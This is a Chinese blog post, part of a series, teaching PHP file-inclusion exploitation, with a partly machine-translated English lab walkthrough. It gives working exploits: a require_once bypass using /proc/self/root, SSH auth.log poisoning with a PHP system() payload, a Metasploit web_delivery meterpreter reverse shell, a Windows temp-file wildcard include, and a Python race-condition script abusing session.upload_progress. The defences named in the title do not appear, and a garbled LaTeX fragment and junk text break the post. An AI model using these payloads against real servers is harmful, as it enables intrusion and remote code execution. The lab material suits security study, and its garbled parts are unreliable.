2024全网最全面及最新且最为详细的网络安全技巧 九之文件包含漏洞典例分析POC；EXP以及 如何防御和修复[含PHP；Pyhton源码和CTF精题WP详解]（3）— 作者：LJS

置顶 已于 2024-08-25 11:15:46 修改
阅读量1.2k 收藏 33
点赞数 37
分类专栏： 24 Network Security -LJS 文章标签： php html python linux 网络安全 安全 web安全
于 2024-08-24 12:33:12 首次发布
CISP-PTE——LJS
本文链接：https://blog.csdn.net/weixin_74796680/article/details/141464227
版权

  • 9.6 PHP文件包含时使用多级软链接绕过文件判断的技巧

  • 这个trick最早的场景是，我们如何通过require_once来多次包含同一个文件。
  • 这个场景可以抽象为如下代码：
  • <?php require_once '/www/config.php'; // some logic here... 
	  require_once $_GET['file']; 
?>
  • 文字描述：就是我们在审计时找到一处文件包含漏洞（使用require_once或include_once），想利用这个漏洞读取一下数据库配置文件之类的源码，通常可以使用php://filter/convert.base64-encode/resource=file这样的方式将文件以base64的形式读出来。但如果这个文件在前面已经被包含过了，则第二次包含就会失败，即使使用php://filter也一样。
  • 那么此时如何解决？
  • 方法就是使用“多重软连接”，这应该算PHP的一个feature

  • 多重软链接介绍

  • 简单描述一下，就是正常情况下，PHP会将用户输入的文件名进行resolve，转换成标准的绝对路径，这个转换的过程会将../、./、软连接等都进行计算，得到一个最终的路径，再进行包含。每次包含都会经历这个过程，所以，只要是相同的文件，不管中间使用了../进行跳转，还是使用软链接进行跳转，都逃不过最终被转换成原始路径的过程，也就绕不过require_once
  • 但是，如果软连接跳转的次数超过了某一个上限，Linux的lstat函数就会出错，导致PHP计算出的绝对路径就会包含一部分软连接的路径，也就和原始路径不相同的，即可绕过require_once限制。
  • /proc/self指向当前进程的/proc/pid/，/proc/self/root/是指向/的符号链接
  • 在Linux下，最常见的软连接就是/proc/self/root，这个路径指向根目录。所以，我们可以多次使用这个路径：
  • <?php
require_once '/www/config.php';
include_once '/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/config.php';
  • 这样即可包含两次/www/config.php。
  • 原理php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台

  • 9.7 RCE with LFI and SSH Log Poisoning（PS:本文进行了翻译；图片因无法正常上传以）

  •  In this article, you will learn how to make unauthorized access in a web server if it is suffering from local file inclusion vulnerability with help of auth log file. To perform this attack Please read our previous article “Beginner Guide to File Inclusion Attack (LFI/RFI)” and “Configure Web Server for Penetration Testing (Beginner Guide)” that will help you in the configuration of own web server as well as more about LFI vulnerability.
  • Attacker: Kali Linux
  • Target: Ubuntu
  • Let’s Begin!!
  • Create a PHP file which will allow the user to include a file through a file parameter. Hence using file parameter we can execute a file that contains malicious code to make unauthorized access is target PC.(在本文中，您将了解如何在web服务器中进行未经授权的访问，如果它受到本地文件的帮助，auth日志文件。要执行此攻击，请阅读我们之前的文章“初学者指南文件包含在配置Web服务器渗透测试(初学者指南)”，它将帮助您配置自己的v更多关于LFI漏洞。攻击者:Kali LinuxTarget: UbuntuLet开始!!创建一个PHP文件，允许用户通过file参数包含文件。因此，利用包含恶意代码的文件参数进行未经授权的访问是目标PC。)

  • <?php
   $file = $_GET['file'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("index.php");
   }
   ?>
  • cd /var/www/html
mkdir lfi
  • mv /home/raj/Desktop/lfi.php .
  • localhost/lfi/lfi.php?file=/etc/passwd
  • I had saved given below PHP code inside a text file as lfi.php and saved on the desktop.
  • (我将下面给出的PHP代码保存在一个文本文件中，名为Ifi.php，并保存在桌面上。)
  • Now login with the user as “root” and create a folder “lfi” inside /var/www/html
  • (现在以“root”用户登录，并在/var/www/html中创建一个文件夹“Ifi”)
  • Move the lfi.php file from desktop to /var/www/html using given below command.
  • (使用下面的命令将Ifi.php文件从desktop移动到/var/www/html。)
  • Since we had added a php file with include function inside /var/www/html which allow to read the content of another file through it and can lead to LFI attack. Let’s demonstrate it by exploring the following URL to read password files:
  • (因为我们在/var/www/html中添加了一个带有include函数的php文件，它允许通过它读取另一个文件的内容，从而可能导致LFI攻击。让我们通过下面读取密码文件的URL来演示:)
  • From given below image you can check the details of generated logs for the auth.log file.
  • Open a terminal in your Kali Linux and connect the target through SSH service
  • (根据下图，您可以检查auth.log文件生成的日志的详细信息。在Kali Linux中打开终端，通过SSH服务连接目标器)
  • ssh user@192.168.1.129
  • From the ptcture, you can see I am connected with the target system.
  • Type following command to view its logs:
  • (从图中，你可以看到我与目标系统相连。输入以下命令查看日志:)
  • tail -f /var/log/auth.log
  • From given below image you can check the details of generated logs for the auth.log file.
  • Now I will try to open auth.log log file through lfi.php on the browser, therefore, give read and write permission to
  • (根据下图，您可以检查auth.log文件生成的日志的详细信息。现在我将尝试在浏览器上通过Ifi.php打开auth.log日志文件，因此，给读和写权限)
  • cd /var/log/
chmod 775 auth.log
  • N​​​​​​ow to include the auth.log file as file parameter and give following URL inside the browser​​​​​​.
  • (现在将auth.log文件作为file参数，并在浏览器中给出以下URL。) 
  • 192.168.1.129/lfi/lfi.php?file=/var/log/auth.log
  • From the given image you can see it is showing created auth logs in the browser also.
  • Since the auth.log file generates a log for every success and failed login attempt when we try to connect with the web server. Taking advantage of this feature now I will send malicious PHP code as a fake user and it will get added automatically in the auth.log file as a new log.
  • (从给定的图像中，你可以看到它也在浏览器中显示了创建的身份验证日志。当我们尝试连接web服务器时，auth.log文件会为每次成功和失败的登录尝试生成日志。利用这个功能，现在我将以假用户的身份发送恶意PHPcode，它将自动添加到auth.log文件中作为新的日志。)
  • ssh '<?php system($_GET['c']); ?>'@192.168.1.129
  • Again when you will check its log, you will find the PHP code has been added a new log.
  • Type following command to view its logs:
  • (当您再次检查其日志时，您将发现PHP代码已添加了新的日志。输入以下命令查看日志:)
  • tail -f /var/log/auth.log
  • Here it will dump the data of auth.log as well as execute command given through cmd; now execute ifconfig as cmd command to verify network interface and confirm its result from inside the given screenshot.
  • (在这里，它将转储auth.log的数据以及通过cmd给出的execute命令;现在执行ifconfig作为CMD命令来验证网络接口，并从给定的屏幕截图中确认其结果。)
  • 192.168.1.129/lfi/lfi.php?file=/var/log/auth.log&c=ifconfig
  • use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.123
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)>exploit
  • Copy the highlighted text shown in below window  
  • Paste the above copied malicious code inside URL as shown in the given image and execute it as a command.
  • When the above code gets executed you will get meterpreter session 1 of the targeted web server.  
  • （将上面复制的恶意代码粘贴到URL中，如给定图像所示，并作为命令执行。当上述代码执行时，您将获得目标webdserver的meterpreter session 1。）
  • msf exploit (web_delivery)>sessions 1
meterpreter> sysinfo

  • 9.8 windows上传文件精准包含技巧

  • 如果一个网站已经可以文件包含了，怎么样getshell？
  • 这个问题值得深思
  • 环境： 如果是自己的phpstudy默认是没有开启
  • 我们需要修改upload_tmp_dir = "C:\Windows\Temp" 然后利用文件上传产生的缓存文件进行命令执行，从而getshell
  • <html>
<body>

<form action="test.php" method="post"
      enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="upload" value="upload" />
</form>

</body>
</html>
  • <?php
include $_REQUEST['file'];
  • POST /xss_location/include/windows.php HTTP/1.1
Host: 172.16.60.64
Content-Length: 481
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.60.64
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary163SaL5Buko78Yfw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.60.64/xss_location/include/windows.html
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=s3pod5ho262o336afdd8ljvkg7
Connection: close

------WebKitFormBoundary163SaL5Buko78Yfw
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain

<?php fputs(fopen('E:\phpstudy_pro\www\aaaaa.php','w'),'<?php phpinfo(); ?>'); ?>
yes
------WebKitFormBoundary163SaL5Buko78Yfw
Content-Disposition: form-data; name="file"

C:\Windows\Temp\php<<<<
------WebKitFormBoundary163SaL5Buko78Yfw
Content-Disposition: form-data; name="upload"

upload
------WebKitFormBoundary163SaL5Buko78Yfw--
  • 为什么我要构造这个<<<呢，在Windows中
  • PHP在读取Windows文件时，会使用到FindFirstFileExW这个Win32 API来查找文件，而这个API是支持使用通配符的：
  • 我们翻译一下
  • DOS_STAR：即 <，匹配0个以上的字符
  • DOS_QM：即>，匹配1个字符
  • DOS_DOT：即"，匹配点号
  • 我们上传的文件会在执行文件包含前被写入临时文件中；文件包含时我们借助Windows的通配符特性，在临时文件名未知的情况下成功包含，执行任意代码。
  • 简单来说，<会匹配字符，我们已知他会生成php+后面几个字符，我们可以通过通配符来进行匹配最后直接命令执行。
  • 最后getshell
  • 如果他的php.ini下没有设置upload这个东西的路径并且还有;，也就是没有设置。 那么我们也可以直接读取任意文件 其实也没必要非得文件上传了，本来文件包含后就可以读取了，那么在实战过程中，我们要使用以上的tip，就有两个条件：
  • 1.php.ini中的upload_tmp_dir 下必须有C:/Windows/Temp这个路径
  • 2.得有写入的权限（这个默认应该都可以）
  • 3.$_REQUEST得有，因为他是获取表单信息的一个数组，如果没有它，那么我们就不能进行文件上传来打。
  • 那么我们就可以直接通过文件包含来直接getshell。

  • 9.9 利用session.upload_progress执行文件包含

  • session.auto_start顾名思义，如果开启这个选项，则PHP在接收请求的时候会自动初始化Session，不再需要执行session_start()。但默认情况下，也是通常情况下，这个选项都是关闭的。
  • session.upload_progress最初是PHP为上传进度条设计的一个功能，在上传文件较大的情况下，PHP将进行流式上传，并将进度信息放在Session中（包含用户可控的值），即使此时用户没有初始化Session，PHP也会自动初始化Session。
  • 而且，默认情况下session.upload_progress.enabled是为On的，也就是说这个特性默认开启，非常nice。
  • 那么，如何利用这个特性呢？ 只需发送如下数据包：
  • POST /xss_location/include/session_upload.php HTTP/1.1
Host: 172.16.60.64
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.60.64
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGmgITM0pPCAAzrsA
Cookie: PHPSESSID=aaaaaaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.60.64/xss_location/include/session_upload.html
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php phpinfo(); ?>
------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain

<?php phpinfo(); ?>aaaaaaaaaaaaa
------WebKitFormBoundaryGmgITM0pPCAAzrsA--
  • 可见，我在上传文件的同时，POST了一个名为PHP_SESSION_UPLOAD_PROGRESS的字段，其值为bbbbbbb。（PHP_SESSION_UPLOAD_PROGRESS是在php.ini里定义的session.upload_progress.name）只要上传包里带上这个键，PHP就会自动启用Session，又因为我在Cookie中设置了PHPSESSID=aaaaaaa，所以Session文件将会自动创建。
  • 但它的大小为什么是0呢？因为上传结束后，这个Session将会被自动清除（由session.upload_progress.cleanup定义），我们只需要条件竞争，赶在文件被清除前利用即可。
  • 所以，在文件包含漏洞找不到可供包含的文件时，可以利用这个技巧。
  • 比如，目标服务器上有这样一段代码：
  •  <?php
    if (isset($_GET['file'])) {
        include $_GET['file'];
    }
  • 我们用一个简单的Python脚本，即可实现代码执行漏洞的利用：
  • import io
import requests
import threading

sessid = 'zyl'  # 会话ID

# 线程1的函数
def t1(session):
    while True:
        # 创建一个 50KB 的内存文件
        f = io.BytesIO(b'a' * 1024 * 50)
        # 发送 POST 请求，上传文件和数据
        response = session.post(
            'http://192.168.1.7/xss_location/include/session_upload.php',
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=phpinfo()?>'},  # 上传的表单数据，包含 PHP 代码
            files={'file': ('a.txt', f)},  # 上传的文件
            cookies={'PHPSESSID': sessid}  # 包含会话 Cookie
        )

# 线程2的函数
def t2(session):
    while True:
        # 发送 GET 请求，读取特定路径的文件内容
        response = session.get(f'http://192.168.1.7/xss_location/include/session_upload.php?file=C:/windows/sess_{sessid}')
        print(response.text)  # 打印响应内容

# 创建会话对象
with requests.session() as session:
    # 启动线程1，执行文件上传
    t1_thread = threading.Thread(target=t1, args=(session,))
    t1_thread.daemon = True  # 设置为后台线程
    t1_thread.start()

    # 启动线程2，执行文件读取
    t2(session)

 \Cap \because \mathbb{N}\uplus \left \| \left \| \cos \left \| \cosh \sinh \textrm{arcsec} \right \| \right \| \right \|

...

f wace  

 vfs aer 

肾透侧视攻城狮
关注
专栏目录
（转自360安全客）深入理解浏览器解析机制和XSS向量编码
weixin_30364147的博客
10-25 266
（译者注：由于某些词汇翻译成中文后很生硬，因此把相应的英文标注在其后以便理解。这篇文章讲的内容很基础，同时也很重要，希望对大家有所帮助。） 这篇文章将要深入理解HTML、URL和JavaScript的规范细则和解析器，以及在解析一段XSS脚本时他们之间有着怎样的差别。这些内容对读者的难易程度取决于读者对HTML规范和浏览器解析的知识是否充足。当然，我向您保证这篇文章比较长，因此请准备一小时或...
2024全网最全面及最新且最为详细的网络安全技巧 九之文件包含漏洞典例分析POC；EXP以及 如何防御和修复[含PHP源码和CTF精题WP详解]（2）—— 作者：LJS
本帅哥打的就是精锐！！！以红队拿下指挥中心权限！！！Root Down!!!
08-23 740
文件包含漏洞典例分析POC；EXP以及 如何防御和修复[含PHP,C；Python源码和CTF精题WP详解]
2024全网最全面及最新且最为详细的网络安全技巧五 之 SSRF 漏洞EXP技巧，典例分析以及 如何修复 (上册)———— 作者：LJS
本帅哥打的就是精锐！！！以红队拿下指挥中心权限！！！Root Down!!!
07-06 1064
SSRF漏洞 EXP技巧，典例分析以及 如何修复 魔幻思路同时涉及C,Python,和php代码分析
2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析POC；EXP以及 如何防御和修复[含C++；javascript；html和php源码详解](6)———— 作者：LJS
本帅哥打的就是精锐！！！以红队拿下指挥中心权限！！！Root Down!!!
08-07 1041
网络安全技巧 七之 XSS漏洞典例分析POC;EXP以及 如何防御和修复[含C++；javascript；html和php源码详解](6)，本篇难度较大，看不懂的可以去复习一下基础知识点或者看之前的文章会轻松些
2024全网最全面及最新且最为详细的网络安全技巧 十之CMS文件上传漏洞典例分析POC；EXP以及 如何防御和修复[含PHP；Pyhton，C源码和CTF精题及WP详解]
本帅哥打的就是精锐！！！以红队拿下指挥中心权限！！！Root Down!!!
08-26 880
2024全网最新且最为详细的网安技巧 十之CMS文件上传漏洞典例分析POC；EXP以及 如何防御和修复[含PHP；Pyhton，C源码和CTF精题及WP详解]
2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析EXP以及 如何防御和修复[含JAVASCRIPT和HTML代码层面分析，代码都进行了详细的注释](2)———— 作者：LJS
本帅哥打的就是精锐！！！以红队拿下指挥中心权限！！！Root Down!!!
07-23 998
XSS漏洞典例分析EXP以及 如何防御和修复:含JAVASCRIPT和HTML代码层面分析，代码都进行了详细的注释
2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析POC以及 如何防御和修复[含JAVASCRIPT和HTML代码层面分析，代码都进行了详细的注释](3)———— 作者：LJS
本帅哥打的就是精锐！！！以红队拿下指挥中心权限！！！Root Down!!!
07-26 1074
XSS漏洞典例分析EXP以及 如何防御和修复:含JAVASCRIPT和HTML代码层面分析，代码都进行了详细的注释
2024年网安最新CVE-2024-3580 Cisco ASA安全软件XSS漏洞
2401_84298087的博客
05-03 783
— | — || 威胁等级 | 中危 || 影响面 | 一般 || 攻击者价值 | 较高 || 利用难度 | 低 || 360CERT评分 | 6.1 |
网络安全漏洞管理十大度量指标
爱玩游戏的黑客的博客
06-04 1022
当前，网络安全漏洞所带来的风险及产生的后果，影响到网络空间乃至现实世界的方方面面，通信、金融、能源、电力、铁路、医院、水务、航空、制造业等行业各类勒索、数据泄露、供应链、钓鱼等网络安全攻击事件层出不穷。因此，加强对漏洞管理的迫切性、重要性日趋突出。国家层面已经出台相关法律法规、标准规范，通信、金融等行业层面出台监管规定、管理规范，企业层面也正在逐步形成漏洞管理相关制度。
全网最全网络安全站点汇总！还不赶快放到收藏夹里吃灰
zkaqlaoniao的博客
10-21 5418
目录 个人技术博客： 国内： 国外： 在线知识： 论坛与导航： 安全资讯： 漏洞预警和exp查询： 在线web扫描器： CTF训练： github项目： 在线常用工具： 大数据以及端口服务查询： 联合账号查询： 大数据以及端口服务查询： CDN查找真实的多ping: 常用web在线工具： MD5在线检查： 在线病毒检测： 我这边也整理了一些我在学习网络安全时的一些学习文档，感兴趣的同学自取网络安全学习资源 如果文章对你有用的话，还请点赞+关注+收藏一键三连支持一下哦
2024年网络安全最新渗透武器库---信息收集工具大全(1)
2401_84302507的博客
05-03 1184
域名按照层级可以分为顶级域、主域名、子域名等。例如.net 是顶级域，主域名是taibai.net，子域名则是在主域名的前面添加自定义名称，例如像 api.taibai.net 、mail.taibai.net 这一类都可统称为子域名。（类似手段非常多，当前举例几种）1IP反查地址：https://tools.ipip.net2人工查看https证书证书 – 详细信息 – 使用者可选名称3DNS A记录。
Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等
weixin_46280935的博客
09-10 5657
Penetration_Testing_POC 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享，作为笔记吧，欢迎补充。 Penetration_Testing_POC 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone Web APP 提权辅助相关 PC tools-小工具集合 文章/书籍/教程相关 说明 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone 天翼创维awifi路由器存在多处未授权访问漏
网络安全事件应急响应实战二
热门推荐
悦分享
09-14 1万+
当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时，急需第一时间进行处理，使企业的网络信息系统在最短时间内恢复正常工作，进一步查找入侵来源，还原入侵事故过程，同时给出解决方案与防范措施，为企业。新闻源网站一般权重较高，收录快，能够被搜索引擎优先收录，是黑灰产推广引流的必争之地，很容易成为被攻击的对象。短连接（short connnection）是相对于长连接而言的概念，指的是在数据传送过程中，只在需要发送数据时，才去建立一个连接，数据发送完成后，则断开此连接，即每次连接只完成一项业务的发送。
腾讯云容器安全已支持检测Apache Log4j2漏洞
YDclub的博客
12-10 3581
犀引擎发现数万镜像受该漏洞影响，免费试用中
PHP-FPM 性能配置优化
陈万洲的专栏
11-05 627
FastCGI 是的简称，是一种交互程序（此处是 PHP）与 Web 服务器之间的 通信协议。FastCGI 是早期通用网关接口（CGI）的增强版本。注意 FastCGI 和 CGI 都是一种通信协议，独立于任何语言。Web 服务器无须对语言有任何了解。除 PHP 有 php-fpm 外，像 Python, Ruby, Perl, Tcl, C/C++, 和 Visual Basic 都有其各自的 CGI 和 FastCGI 实现。
jfrog artifactory oss社区版，不支持php composer私库
天草二十六
11-05 362
安装环境：centos操作系统，root用户。如果是mac或ubuntu等操作系统的话，会有许多安装的坑等着你。一切都是徒劳，安装折腾那么久，最后还是不能使用。这就是写本文的初衷，切勿入坑就对了。
微信小程序寓言童话创作APP设计与实现
qq2295116502的博客
11-05 320
本文通过对现有寓言童话创作APP的调研和分析，取其精华去其糟粕，遵循软件工程方法进行系统分析、总体设计和详细设计，最终设计开发基于Android的寓言童话创作APP。本系统分为管理员、作者、用户三种用户。管理员用户可以通过本系统进行寓言童话管理、用户管理、审批作品管理。用户可以通过本系统进行题目的查询、登录、阅读寓言童话等内容。1.系统登录登录过程是通过web服务器，在后台的数据库通过用户名称密码进行査询。有该注册用户方可使用该系统。2.信息查询。
跳蚤市场之商品发布功能
最新发布
水寿十八公专栏
11-05 512
上述代码中，我们首先定义了一个大类和小类的对应关系`categoryMapping`，然后通过JavaScript获取到大类和小类的select元素，并监听大类select的变化。在`updateMinorCategoryOptions`函数中，我们首先清空小类的options，然后根据所选的大类获取对应的小类数组，并通过遍历创建小类的options。如果用户已经登录，并且会话中的`is_logged_in`键的值为`true`，则输出"用户已经登录"。否则，输出"用户未登录"。
黑客扫描全网 Git 配置文件并窃取大量云凭据
分享web安全、AI安全、云安全、业务安全、渗透测试、安全开发、安全工具、行业动态等优质内容……
11-01 1397
Sysdig 表示，在 Telegram 上，仅指向公开的 Git 配置文件的 URL 列表就以 100 美元左右的价格出售，那些实际去利用的人可能会赚取到更多的钱。攻击者使用暴露的电子邮件平台身份验证令牌来开展垃圾邮件和网络钓鱼活动。在公开的 URL 中，有 28,000 个对应于 Git 存储库，6,000 个是 GitHub 令牌，值得注意的是，有 2,000 个被验证为有效凭证。Sysdig 表示，黑客甚至创建了文件，列出了所有可能的 IPv4 地址，包含超过 42 亿个目标，以方便未来的扫描。
通达OA漏洞集合及POC分析：安全检测必备工具
4. 前台任意文件上传+文件包含+RCE EXP：涉及文件上传功能的安全漏洞，可能还包含文件包含漏洞和远程代码执行的利用示例。攻击者可以上传恶意文件，通过文件包含漏洞触发执行，并利用RCE漏洞获取系统权限。 知识点...
评论 13
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

肾透侧视攻城狮

你的支持将是对我最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值